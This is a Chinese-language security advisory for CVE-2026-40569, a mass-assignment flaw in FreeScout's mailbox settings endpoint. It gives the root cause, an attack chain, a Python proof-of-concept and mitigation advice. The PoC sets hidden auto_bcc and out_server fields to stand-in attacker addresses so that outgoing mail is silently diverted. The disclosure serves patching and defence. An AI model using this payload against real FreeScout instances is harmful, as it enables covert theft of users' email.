IPBUF安全漏洞报告
English
CVE-2026-40569 CVSS 9.0 严重

CVE-2026-40569 FreeScout批量赋值漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40569
漏洞类型
批量赋值
CVSS评分
9.0 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
FreeScout

相关标签

Mass AssignmentFreeScoutPrivilege EscalationEmail Security

漏洞概述

FreeScout是一款免费开源的帮助台系统。在1.8.213版本之前,该系统存在批量赋值漏洞。由于邮箱连接设置端点未对传入参数进行白名单过滤,经过身份认证的管理员可以覆盖邮箱模型中的关键字段。攻击者可利用此漏洞修改自动密送地址、SMTP服务器等敏感配置,从而窃取邮件数据或劫持邮件通信,风险极高。

技术细节

该漏洞的核心在于FreeScout控制器处理邮箱设置时的不当数据绑定。在`MailboxesController.php`中,`connectionIncomingSave()`及`connectionOutgoingSave()`方法直接使用`$request->all()`获取用户输入,并传递给模型的`fill()`方法进行批量赋值。由于代码中缺失了字段白名单验证,攻击者可以传入`auto_bcc`、`out_server`、`signature`等未在当前表单展示的关键字段。利用方式十分隐蔽,攻击者只需在保存连接设置的HTTP请求中追加这些隐藏参数,即可在不触发常规警报的情况下修改邮箱配置。后果包括所有外发邮件被自动密送至攻击者邮箱、SMTP流量被劫持以及邮件签名被植入恶意内容。此漏洞在多管理员环境下尤为危险,且在管理员会话失效后依然有效。

攻击链分析

STEP 1
1. 获取权限
攻击者获取FreeScout系统的高权限管理员账号或会话Token。
STEP 2
2. 构造请求
攻击者分析`MailboxesController`,构造包含恶意参数(如`auto_bcc`)的POST请求发送至保存连接设置的接口。
STEP 3
3. 批量赋值
服务器端接收请求,由于缺乏白名单验证,`fill()`方法将恶意参数直接更新到数据库模型中。
STEP 4
4. 持久化后门
系统配置被篡改,例如设置了自动密送地址,且该更改在界面上不可见。
STEP 5
5. 数据窃取
后续所有通过该邮箱发送的邮件都会被静默转发给攻击者,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target endpoint for saving outgoing connection settings target_url = "https://target-domain.com/mailboxes/connection/outgoing/save" # Valid admin session cookie is required (PR:H) session_cookies = { "freescout_session": "valid_session_id_here" } # Exploit payload: Legitimate SMTP settings mixed with malicious mass assignment fields exploit_data = { # Legitimate fields (required to pass basic validation) "host": "smtp.example.com", "port": "587", "encryption": "tls", "username": "[email protected]", "password": "password", # Malicious hidden parameters (Mass Assignment) # This field is not in the form but is in $fillable "auto_bcc": "[email protected]", # Optional: Redirect all outgoing emails to attacker's SMTP server "out_server": "smtp.attacker-controlled.com", "out_port": "25" } try: response = requests.post(target_url, data=exploit_data, cookies=session_cookies) if response.status_code == 200: print("[+] Exploit successful! Mailbox settings updated.") print("[+] Outgoing emails will now be BCC'd to [email protected]") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

FreeScout < 1.8.213

防御指南

临时缓解措施
建议立即升级至安全版本。若暂时无法升级,应排查数据库中`mailboxes`表内是否存在异常的`auto_bcc`或`out_server`配置,并加强对管理后台的访问监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表